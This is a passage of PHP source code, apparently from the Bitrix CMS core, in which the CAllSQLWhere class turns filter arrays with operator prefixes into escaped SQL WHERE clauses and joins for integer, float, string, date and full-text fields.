						"LEFT JOIN b_utm_".$this->entity_id." ".$table_alias."E ON ".$table_alias."E.FIELD_ID = ".$arField["ID"]." AND ".$table_alias."E.VALUE_ID = ".$ID."
						LEFT JOIN b_user_field_enum ".$table_alias."EN ON ".$table_alias."EN.ID = ".$table_alias."E.VALUE_INT",
				);
			}
		}
		$this->obWhere->SetFields($arFields);
	}

	function SetSelect($arSelect)
	{
		$this->obWhere->bDistinctReqired = false;
		$this->select = array();
		if(is_array($arSelect))
		{
			if(in_array("UF_*", $arSelect))
			{
				foreach($this->user_fields as $FIELD_NAME=>$arField)
				{
					$this->select[$FIELD_NAME] = true;
				}
			}
			else
			{
				foreach($arSelect as $field)
				{
					if(array_key_exists($field, $this->user_fields))
					{
						$this->select[$field] = true;
					}
				}
			}
		}
	}

	function GetDistinct()
	{
		return $this->obWhere->bDistinctReqired;
	}

	function GetSelect()
	{
		$result = "";
		foreach($this->select as $key=>$value)
		{
			$simpleFormat = true;
			if($this->user_fields[$key]["MULTIPLE"] == "N")
			{
				if($arType = $this->user_fields[$key]["USER_TYPE"])
				{
					if(is_callable(array($arType["CLASS_NAME"], "FormatField")))
					{
						$result .= ", ".call_user_func_array(array($arType["CLASS_NAME"], "FormatField"), array($this->user_fields[$key], $this->table_alias.".".$key))." ".$key;
						$simpleFormat = false;
					}
				}
			}
			if($simpleFormat)
			{
				$result .= ", ".$this->table_alias.".".$key;
			}
		}
		return $result;
	}

	function GetJoin($ID)
	{
		$result = $this->obWhere->GetJoins();
		$table = " b_uts_".$this->entity_id." ".$this->table_alias." ";
		if((count($this->select)>0 || count($this->order)>0) && strpos($result, $table)===false)
			$result .= "\nLEFT JOIN".$table."ON ".$this->table_alias.".VALUE_ID = ".$ID;
		return $result;
	}

	function SetOrder($arOrder)
	{
		if(is_array($arOrder))
		{
			$this->order = array();
			foreach($arOrder as $field=>$order)
			{
				if(array_key_exists($field, $this->user_fields))
					$this->order[$field] = $order!="ASC"? "DESC": "ASC";
			}
		}
	}

	function GetOrder($field)
	{
		$field = strtoupper($field);
		if(isset($this->order[$field]))
			$result = $this->table_alias.".".$field;
		else
			$result = "";
		return $result;
	}

	function SetFilter($arFilter)
	{
		if(is_array($arFilter))
			$this->filter = $arFilter;
	}

	function GetFilter()
	{
		return $this->obWhere->GetQuery($this->filter);
	}
}

class CAllSQLWhere
{
	const FT_MIN_TOKEN_SIZE = 3;

	var $fields = array(
	/*
		"ID" => array(
			"FIELD_NAME" => "UF.ID",
		),
	*/
	);
	var $c_joins = array();
	var $l_joins = array();
	var $bDistinctReqired = false;

	static $operations = array(
		"!><" => "NB", //not between
		"!=%" => "NM", //not Identical by like
		"!%=" => "NM", //not Identical by like
		"!==" => "SN", // strong negation for boolean and null
		"!=" => "NI", //not Identical
		"!%" => "NS", //not substring
		"><" => "B",  //between
		">=" => "GE", //greater or equal
		"<=" => "LE", //less or equal
		"=%" => "M", //Identical by like
		"%=" => "M", //Identical by like
		"!@" => "NIN", //not in
		"==" => "SE",  // strong equality for boolean and null
		"=" => "I", //Identical
		"%" => "S", //substring
		"?" => "?", //logical
		">" => "G", //greater
		"<" => "L", //less
		"!" => "N", // not field LIKE val
		"@" => "IN", // IN (new SqlExpression)
		"*" => "FT", // partial full text match
		"*=" => "FTI", // identical full text match
		"*%" => "FTL", // partial full text match based on LIKE
	);

	function _Upper($field)
	{
		return "UPPER(".$field.")";
	}
	function _Empty($field)
	{
		return "(".$field." IS NULL)";
	}
	function _NotEmpty($field)
	{
		return "(".$field." IS NOT NULL)";
	}
	function _StringEQ($field, $sql_value)
	{
		return $field." = '".$sql_value."'";
	}
	function _StringNotEQ($field, $sql_value)
	{
		return "(".$field." IS NULL OR ".$field." <> '".$sql_value."')";
	}
	function _StringIN($field, $sql_values)
	{
		return $field." in ('".implode("', '", $sql_values)."')";
	}
	function _StringNotIN($field, $sql_values)
	{
		return "(".$field." IS NULL OR ".$field." not in ('".implode("', '", $sql_values)."'))";
	}
	function _ExprEQ($field, $val)
	{
		return $field." = ".$val->compile();
	}
	function _ExprNotEQ($field, $val)
	{
		return "(".$field." IS NULL OR ".$field." <> ".$val->compile().")";
	}
	function _NumberIN($field, $sql_values)
	{
		$result = $field." in (".implode(", ", $sql_values).")";
		if (in_array(0, $sql_values, true))
			$result .= " or ".$field." IS NULL";
		return $result;
	}
	function _NumberNotIN($field, $sql_values)
	{
		$result = $field." not in (".implode(", ", $sql_values).")";
		if (in_array(0, $sql_values, true))
			$result .= " and ".$field." IS NOT NULL";
		return $result;
	}

	/**
	 * @param string $string
	 * @return array
	 */
	public static function splitWords($string)
	{
		static $encoding = null;
		if($encoding === null)
		{
			$encoding = \Bitrix\Main\Context::getCurrent()->getCulture()->getCharset();
		}

		if($encoding <> "UTF-8")
		{
			$string = Text\Encoding::convertEncoding($string, $encoding, "UTF-8");
		}

		//split to words by any non-word symbols
		$values = preg_split("/[^\\p{L}\\d_]/u", $string);

		$values = array_filter($values,
			function($val)
			{
				return ($val <> '');
			}
		);
		$values = array_unique($values);

		if($encoding <> "UTF-8")
		{
			$values = Text\Encoding::convertEncoding($values, "UTF-8", $encoding);
		}
		return $values;
	}

	public static function GetMinTokenSize()
	{
		static $ftMinTokenSize = null;
		if($ftMinTokenSize === null)
		{
			$config = \Bitrix\Main\Application::getConnection()->getConfiguration();
			$ftMinTokenSize = (isset($config["ft_min_token_size"])? $config["ft_min_token_size"] : self::FT_MIN_TOKEN_SIZE);
		}
		return $ftMinTokenSize;
	}

	public function match($field, $fieldValue, $wildcard)
	{
		global $DB;

		$ftMinTokenSize = static::GetMinTokenSize();

		if(!is_array($fieldValue))
		{
			$fieldValue = array($fieldValue);
		}
		$orValues = array();
		$wildcard = ($wildcard? "*" : "");

		foreach($fieldValue as $value)
		{
			//split to words by any non-word symbols
			$andValues = static::splitWords($value);
			if(!empty($andValues))
			{
				$andValues = array_filter($andValues,
					function($val) use ($ftMinTokenSize)
					{
						return (strlen($val) >= $ftMinTokenSize);
					}
				);
				if(!empty($andValues))
				{
					$orValues[] = "+".implode($wildcard." +", $andValues).$wildcard;
				}
			}
		}
		if(!empty($orValues))
		{
			$value = "(".implode(") (", $orValues).")";
			return "MATCH (".$field.") AGAINST ('".$DB->ForSQL($value)."' IN BOOLEAN MODE)";
		}

		return '';
	}

	public function matchLike($field, $fieldValue)
	{
		if(!is_array($fieldValue))
		{
			$fieldValue = array($fieldValue);
		}
		$orValues = array();

		foreach($fieldValue as $value)
		{
			//split to words by any non-word symbols
			$andValues = static::splitWords($value);
			if(!empty($andValues))
			{
				$andValues = array_map(
					function($val)
					{
						return CSQLWhere::ForLIKE(ToUpper($val));
					},
					$andValues
				);

				$orValues[] = "(".$this->_Upper($field)." like '%".implode("%' ESCAPE '!' AND ".$this->_Upper($field)." like '%", $andValues)."%' ESCAPE '!')";
			}
		}
		if(!empty($orValues))
		{
			return "(".implode("\n OR ", $orValues).")";
		}

		return '';
	}

	function AddFields($arFields)
	{
		if(is_array($arFields))
		{
			foreach($arFields as $key=>$arField)
			{
				$key = strtoupper($key);
				if(!isset($this->fields[$key]) && is_array($arField) && strlen($arField["FIELD_NAME"])>0)
				{
					$ar = array();
					$ar["TABLE_ALIAS"] = $arField["TABLE_ALIAS"];
					$ar["FIELD_NAME"] = $arField["FIELD_NAME"];
					$ar["FIELD_TYPE"] = $arField["FIELD_TYPE"];
					$ar["USER_TYPE_ID"] = $arField["USER_TYPE_ID"];
					$ar["MULTIPLE"] = isset($arField["MULTIPLE"])? $arField["MULTIPLE"]: "N";
					$ar["JOIN"] = $arField["JOIN"];
					if(isset($arField["LEFT_JOIN"]))
						$ar["LEFT_JOIN"] = $arField["LEFT_JOIN"];
					if(isset($arField["CALLBACK"]))
						$ar["CALLBACK"] = $arField["CALLBACK"];
					$this->fields[$key] = $ar;
				}
			}
		}
	}

	function SetFields($arFields)
	{
		$this->fields = array();
		$this->AddFields($arFields);
	}

	public function MakeOperation($key)
	{
		if(isset(self::$operations[$op = substr($key, 0, 3)]))
		{
			return array("FIELD"=>substr($key, 3), "OPERATION"=>self::$operations[$op]);
		}
		elseif(isset(self::$operations[$op = substr($key, 0, 2)]))
		{
			return array("FIELD"=>substr($key, 2), "OPERATION"=>self::$operations[$op]);
		}
		elseif(isset(self::$operations[$op = substr($key, 0, 1)]))
		{
			return array("FIELD"=>substr($key, 1), "OPERATION"=>self::$operations[$op]);
		}
		else
		{
			return array("FIELD"=>$key, "OPERATION"=>"E"); // field LIKE val
		}
	}

	public static function getOperationByCode($code)
	{
		$all_operations = array_flip(self::$operations);

		return $all_operations[$code];
	}

	function GetQuery($arFilter)
	{
		$this->l_joins = array();
		$this->c_joins = array();
		foreach($this->fields as $key=>$field)
		{
			$this->l_joins[$field["TABLE_ALIAS"]] = isset($field['LEFT_JOIN']);
			$this->c_joins[$key] = 0;
		}
		return $this->GetQueryEx($arFilter, $this->l_joins);
	}

	function GetQueryEx($arFilter, &$arJoins, $level=0)
	{
		if(!is_array($arFilter))
			return "";

		$logic = false;
		if(isset($arFilter['LOGIC']))
		{
			$logic = $arFilter["LOGIC"];
			unset($arFilter["LOGIC"]);
		}

		$inverted = false;
		if($logic == 'NOT')
		{
			$inverted = true;
			$logic = 'AND';
		}

		if($logic !== "OR")
			$logic = "AND";

		$result = array();
		foreach($arFilter as $key=>$value)
		{
			if(is_numeric($key))
			{
				$arRecursiveJoins = $arJoins;
				$value = $this->GetQueryEx($value, $arRecursiveJoins, $level+1);
				if(strlen($value)>0)
					$result[] = "(".$value."\n".str_repeat("\t", $level).")";

				foreach($arRecursiveJoins as $TABLE_ALIAS=>$bLeftJoin)
				{
					if($bLeftJoin)
					{
						if($logic == "OR")
							$arJoins[$TABLE_ALIAS] |= true;
						else
							$arJoins[$TABLE_ALIAS] &= true;
					}
					else
					{
						if($logic == "OR")
							$arJoins[$TABLE_ALIAS] |= false;
						else
							$arJoins[$TABLE_ALIAS] &= false;
					}
				}
			}
			else
			{
				$operation = $this->MakeOperation($key);
				$key = strtoupper($operation["FIELD"]);
				$operation = $operation["OPERATION"];

				if(isset($this->fields[$key]))
				{
					$FIELD_NAME = $this->fields[$key]["FIELD_NAME"];
					$FIELD_TYPE = $this->fields[$key]["FIELD_TYPE"];
					//Handle joins logic
					$this->c_joins[$key]++;
					if(
						(
							($operation=="I" || $operation=="E" || $operation=="S" || $operation=="M")
							&& (
								is_scalar($value)
								&& (
									($FIELD_TYPE=="int" && intval($value)==0)
									|| ($FIELD_TYPE=="double" && doubleval($value)==0)
									|| strlen($value)<=0
								)
							)
						)
						||
						(
							($operation=="NI" || $operation=="N" || $operation=="NS" || $operation=="NB" || $operation=="NM")
							&& (
								is_array($value)
								|| (
									($FIELD_TYPE=="int" && intval($value)!=0)
									|| ($FIELD_TYPE=="double" && doubleval($value)!=0)
									|| ($FIELD_TYPE!="int" && $FIELD_TYPE!="double" && is_scalar($value) && strlen($value)>0)
								)
							)
						)
					)
					{
						if($logic == "OR")
							$arJoins[$this->fields[$key]["TABLE_ALIAS"]] |= true;
						else
							$arJoins[$this->fields[$key]["TABLE_ALIAS"]] &= true;
					}
					else
					{
						if($logic == "OR")
							$arJoins[$this->fields[$key]["TABLE_ALIAS"]] |= false;
						else
							$arJoins[$this->fields[$key]["TABLE_ALIAS"]] &= false;
					}

					switch($FIELD_TYPE)
					{
						case "file":
						case "enum":
						case "int":
							$this->addIntFilter($result, $this->fields[$key]["MULTIPLE"] === "Y", $FIELD_NAME, $operation, $value);
							break;
						case "double":
							$this->addFloatFilter($result, $this->fields[$key]["MULTIPLE"] === "Y", $FIELD_NAME, $operation, $value);
							break;
						case "string":
							$this->addStringFilter($result, $this->fields[$key]["MULTIPLE"] === "Y", $FIELD_NAME, $operation, $value);
							break;
						case "date":
						case "datetime":
							if($FIELD_TYPE == "date" || $this->fields[$key]["USER_TYPE_ID"] == "date")
							{
								$this->addDateFilter($result, $this->fields[$key]["MULTIPLE"] === "Y", $FIELD_NAME, $operation, $value, "SHORT");
							}
							else
							{
								$this->addDateFilter($result, $this->fields[$key]["MULTIPLE"] === "Y", $FIELD_NAME, $operation, $value, "FULL");
							}
							break;
						case "callback":
							$res = call_user_func_array($this->fields[$key]["CALLBACK"], array(
								$FIELD_NAME,
								$operation,
								$value,
							));
							if (strlen($res))
								$result[] = $res;
							break;
					}
				}
			}
		}

		if(count($result)>0)
			return "\n".str_repeat("\t", $level).($inverted ? 'NOT (' : '').implode("\n".str_repeat("\t", $level).$logic." ", $result).($inverted ? ')' : '');
		else
			return "";
	}

	function GetJoins()
	{
		$result = array();

		foreach($this->c_joins as $key => $counter)
		{
			if($counter > 0)
			{
				$TABLE_ALIAS = $this->fields[$key]["TABLE_ALIAS"];
				if($this->l_joins[$TABLE_ALIAS])
					$result[$TABLE_ALIAS] = $this->fields[$key]["LEFT_JOIN"];
				else
					$result[$TABLE_ALIAS] = $this->fields[$key]["JOIN"];
			}
		}
		return implode("\n", $result);
	}

	public static function ForLIKE($str)
	{
		global $DB;
		static $search  = array( "!",  "_",  "%");
		static $replace = array("!!", "!_", "!%");
		return str_replace($search, $replace, $DB->ForSQL($str));
	}

	function addIntFilter(&$result, $isMultiple, $FIELD_NAME, $operation, $value)
	{
		if (is_array($value))
			$FIELD_VALUE = array_map("intval", $value);
		elseif (is_object($value))
			$FIELD_VALUE = $value;
		else
			$FIELD_VALUE = intval($value);

		switch ($operation)
		{
		case "I":
		case "E":
		case "S":
		case "M":
			if (is_array($FIELD_VALUE))
			{
				if (!empty($FIELD_VALUE))
					$result[] = "(".$this->_NumberIN($FIELD_NAME, $FIELD_VALUE).")";
				else
					$result[] = "1=0";

				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." = ".$FIELD_VALUE->compile();
			elseif ($FIELD_VALUE == 0)
				$result[] = "(".$FIELD_NAME." IS NULL OR ".$FIELD_NAME." = 0)";
			else
				$result[] = $FIELD_NAME." = ".$FIELD_VALUE;
			break;
		case "NI":
		case "N":
		case "NS":
		case "NM":
			if (is_array($FIELD_VALUE))
			{
				if (!empty($FIELD_VALUE))
					$result[] = "(".$this->_NumberNotIN($FIELD_NAME, $FIELD_VALUE).")";
				else
					$result[] = "1=1";
			}
			elseif ($FIELD_VALUE == 0)
				$result[] = "(".$FIELD_NAME." IS NOT NULL AND ".$FIELD_NAME." <> 0)";
			else
				$result[] = $FIELD_NAME." <> ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "G":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "L":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "GE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "LE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "B":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NB":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." not between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "IN":
			if(is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." IN (".$FIELD_VALUE->compile().")";
			elseif(is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." IN (".implode(",", $FIELD_VALUE).")";
			else
				$result[] = $FIELD_NAME." IN (".$FIELD_VALUE.")";
			break;
		case "NIN":
			if(is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." NOT IN (".$FIELD_VALUE->compile().")";
			elseif(is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." NOT IN (".implode(",", $FIELD_VALUE).")";
			else
				$result[] = $FIELD_NAME." NOT IN (".$FIELD_VALUE.")";
			break;
		}
	}

	function addFloatFilter(&$result, $isMultiple, $FIELD_NAME, $operation, $value)
	{
		if (is_array($value))
			$FIELD_VALUE = array_map("doubleval", $value);
		elseif (is_object($value))
			$FIELD_VALUE = $value;
		else
			$FIELD_VALUE = doubleval($value);

		switch ($operation)
		{
		case "I":
		case "E":
		case "S":
		case "M":
			if (is_array($FIELD_VALUE))
			{
				if (!empty($FIELD_VALUE))
					$result[] = "(".$this->_NumberIN($FIELD_NAME, $FIELD_VALUE).")";
				else
					$result[] = "1=0";

				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." = ".$FIELD_VALUE->compile();
			elseif ($FIELD_VALUE == 0)
				$result[] = "(".$FIELD_NAME." IS NULL OR ".$FIELD_NAME." = 0)";
			else
				$result[] = $FIELD_NAME." = ".$FIELD_VALUE;
			break;
		case "NI":
		case "N":
		case "NS":
		case "NM":
			if (is_array($FIELD_VALUE))
			{
				if (!empty($FIELD_VALUE))
					$result[] = "(".$this->_NumberNotIN($FIELD_NAME, $FIELD_VALUE).")";
				else
					$result[] = "1=1";
			}
			elseif ($FIELD_VALUE == 0)
				$result[] = "(".$FIELD_NAME." IS NOT NULL AND ".$FIELD_NAME." <> 0)";
			else
				$result[] = $FIELD_NAME." <> ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "G":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "L":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "GE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "LE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE[0];
			else
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE;

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "B":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE)>1)
				$result[] = $FIELD_NAME." between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NB":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE)>1)
				$result[] = $FIELD_NAME." not between ".$FIELD_VALUE[0]." AND ".$FIELD_VALUE[1];

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "IN":
			$result[] = $FIELD_NAME." IN (".$FIELD_VALUE->compile().")";
			break;
		case "NIN":
			$result[] = $FIELD_NAME." NOT IN (".$FIELD_VALUE->compile().")";
			break;
		}
	}

	function addStringFilter(&$result, $isMultiple, $FIELD_NAME, $operation, $value)
	{
		global $DB;

		if (is_array($value))
		{
			$FIELD_VALUE = array();
			if ($operation=="S" || $operation=="NS")
			{
				foreach ($value as $val)
					$FIELD_VALUE[] = $this->ForLIKE(toupper($val));
			}
			else
			{
				foreach ($value as $val)
					$FIELD_VALUE[] = $DB->ForSQL($val);
			}
		}
		elseif (is_object($value))
		{
			$FIELD_VALUE = $value;
		}
		else
		{
			if ($operation=="S" || $operation=="NS")
				$FIELD_VALUE = $this->ForLIKE(toupper($value));
			else
				$FIELD_VALUE = $DB->ForSQL($value);
		}

		switch ($operation)
		{
		case "I":
			if (is_array($FIELD_VALUE))
			{
				$result[] = $this->_StringIN($FIELD_NAME, $FIELD_VALUE);
				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			elseif (is_object($FIELD_VALUE))
			{
				$result[] = $this->_ExprEQ($FIELD_NAME, $FIELD_VALUE);
			}
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_Empty($FIELD_NAME);
			else
				$result[] = $this->_StringEQ($FIELD_NAME, $FIELD_VALUE);
			break;
		case "E":
			if (is_array($FIELD_VALUE))
				$result[] = "(".$this->_Upper($FIELD_NAME)." like upper('".implode("') OR ".$this->_Upper($FIELD_NAME)." like upper('", $FIELD_VALUE)."'))";
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_ExprEQ($FIELD_NAME, $FIELD_VALUE);
			elseif(strlen($FIELD_VALUE)<=0)
				$result[] = $this->_Empty($FIELD_NAME);
			else
			{
				//kinda optimization for digits only
				if (preg_match("/[^0-9]/", $FIELD_VALUE))
					$result[] = $this->_Upper($FIELD_NAME)." like upper('".$FIELD_VALUE."')";
				else
					$result[] = $this->_StringEQ($FIELD_NAME, $FIELD_VALUE);
			}

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "S":
			if (is_array($FIELD_VALUE))
				$result[] = "(".$this->_Upper($FIELD_NAME)." like '%".implode("%' ESCAPE '!' OR ".$this->_Upper($FIELD_NAME)." like '%", $FIELD_VALUE)."%' ESCAPE '!')";
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_Upper($FIELD_NAME)." like ".$FIELD_VALUE->compile()." ESCAPE '!'";
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_Empty($FIELD_NAME);
			else
				$result[] = $this->_Upper($FIELD_NAME)." like '%".$FIELD_VALUE."%' ESCAPE '!'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "M":
			if (is_array($FIELD_VALUE))
				$result[] = "(".$FIELD_NAME." like '".implode("' OR ".$FIELD_NAME." like '", $FIELD_VALUE)."')";
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_ExprEQ($FIELD_NAME, $FIELD_VALUE);
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_Empty($FIELD_NAME);
			else
			{
				//kinda optimization for digits only
				if (preg_match("/[^0-9]/", $FIELD_VALUE))
					$result[] = $FIELD_NAME." like '".$FIELD_VALUE."'";
				else
					$result[] = $this->_StringEQ($FIELD_NAME, $FIELD_VALUE);
			}

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NI":
			if (is_array($FIELD_VALUE))
				$result[] = $this->_StringNotIN($FIELD_NAME, $FIELD_VALUE);
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_ExprNotEQ($FIELD_NAME, $FIELD_VALUE);
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_NotEmpty($FIELD_NAME);
			else
				$result[] = $this->_StringNotEQ($FIELD_NAME, $FIELD_VALUE);

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "N":
			if (is_array($FIELD_VALUE))
				$result[] = "(".$this->_Upper($FIELD_NAME)." not like upper('".implode("') AND ".$this->_Upper($FIELD_NAME)." not like upper('", $FIELD_VALUE)."'))";
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_Upper($FIELD_NAME)." not like ".$FIELD_VALUE->compile();
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_NotEmpty($FIELD_NAME);
			else
				$result[] = $this->_Upper($FIELD_NAME)." not like upper('".$FIELD_VALUE."')";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NS":
			if (is_array($FIELD_VALUE))
				$result[] = "(".$this->_Upper($FIELD_NAME)." not like '%".implode("%' ESCAPE '!' AND ".$this->_Upper($FIELD_NAME)." not like '%", $FIELD_VALUE)."%' ESCAPE '!')";
			elseif (is_object($FIELD_VALUE))
				$result[] = $this->_Upper($FIELD_NAME)." not like ".$FIELD_VALUE->compile();
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_NotEmpty($FIELD_NAME);
			else
				$result[] = $this->_Upper($FIELD_NAME)." not like '%".$FIELD_VALUE."%' ESCAPE '!'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NM":
			if(is_array($FIELD_VALUE))
				$result[] = "(".$FIELD_NAME." not like '".implode("' AND ".$FIELD_NAME." not like '", $FIELD_VALUE)."')";
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." not like ".$FIELD_VALUE->compile();
			elseif (strlen($FIELD_VALUE) <= 0)
				$result[] = $this->_NotEmpty($FIELD_NAME);
			else
				$result[] = $FIELD_NAME." not like '".$FIELD_VALUE."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "G":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." > '".$FIELD_VALUE[0]."'";
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." > ".$FIELD_VALUE->compile();
			else
				$result[] = $FIELD_NAME." > '".$FIELD_VALUE."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "L":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." < '".$FIELD_VALUE[0]."'";
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." < ".$FIELD_VALUE->compile();
			else
				$result[] = $FIELD_NAME." < '".$FIELD_VALUE."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "GE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." >= '".$FIELD_VALUE[0]."'";
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." >= ".$FIELD_VALUE->compile();
			else
				$result[] = $FIELD_NAME." >= '".$FIELD_VALUE."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "LE":
			if (is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." <= '".$FIELD_VALUE[0]."'";
			elseif (is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." <= ".$FIELD_VALUE->compile();
			else
				$result[] = $FIELD_NAME." <= '".$FIELD_VALUE."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "B":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." between '".$FIELD_VALUE[0]."' AND '".$FIELD_VALUE[1]."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "NB":
			if (is_array($FIELD_VALUE) && count($FIELD_VALUE) > 1)
				$result[] = $FIELD_NAME." not between '".$FIELD_VALUE[0]."' AND '".$FIELD_VALUE[1]."'";

			if ($isMultiple)
				$this->bDistinctReqired = true;
			break;
		case "?":
			if (is_scalar($FIELD_VALUE) && strlen($FIELD_VALUE))
			{
				$q = GetFilterQuery($FIELD_NAME, $FIELD_VALUE);
				// Check if error ("0" was returned)
				if ($q !== '0')
					$result[] = $q;
			}
			break;
		case "IN":
			if(is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." IN (".$FIELD_VALUE->compile().")";
			elseif(is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." IN ('".implode("', '", $FIELD_VALUE)."')";
			else
				$result[] = $FIELD_NAME." IN ('".$FIELD_VALUE."')";
			break;
		case "NIN":
			if(is_object($FIELD_VALUE))
				$result[] = $FIELD_NAME." NOT IN (".$FIELD_VALUE->compile().")";
			elseif(is_array($FIELD_VALUE))
				$result[] = $FIELD_NAME." NOT IN ('".implode("', '", $FIELD_VALUE)."')";
			else
				$result[] = $FIELD_NAME." NOT IN ('".$FIELD_VALUE."')";
			break;
		case "FT":
		case "FTI":
			$part = $this->match($FIELD_NAME, $value, ($operation == "FT"));
			if($part <> '')
			{
				$result[] = $part;

				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			break;
		case "FTL":
			$part = $this->matchLike($FIELD_NAME, $value);
			if($part <> '')
			{
				$result[] = $part;

				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			break;
		}
	}

	function addDateFilter(&$result, $isMultiple, $FIELD_NAME, $operation, $value, $format)
	{
		global $DB;

		if (is_array($value))
		{
			$FIELD_VALUE = array();
			foreach ($value as $val)
			{
				if ($val instanceof \Bitrix\Main\Type\Date)
				{
					$FIELD_VALUE[] = $DB->CharToDateFunction((string)$val, $format);
				}
				elseif (is_object($val))
				{
					$FIELD_VALUE[] = $val->compile();
				}
				elseif (strlen($val))
				{
					$FIELD_VALUE[] = $DB->CharToDateFunction($val, $format);
				}
				else
				{
					$FIELD_VALUE[] = '';
				}
			}
		}
		elseif ($value instanceof \Bitrix\Main\Type\Date)
		{
			$FIELD_VALUE = $DB->CharToDateFunction((string)$value, $format);
		}
		elseif (is_object($value))
		{
			$FIELD_VALUE = $value->compile();
		}
		elseif (strlen($value))
		{
			$FIELD_VALUE = $DB->CharToDateFunction($value, $format);
		}
		else
		{
			$FIELD_VALUE = '';
		}

		switch($operation)
		{
		case "I":
		case "E":
		case "S":
		case "M":
			if (is_array($FIELD_VALUE))
			{
				$result[] = $FIELD_NAME." in (".implode(", ", $FIELD_VALUE).")";
				if ($isMultiple)
					$this->bDistinctReqired = true;
			}
			elseif (strlen($value) <= 0)
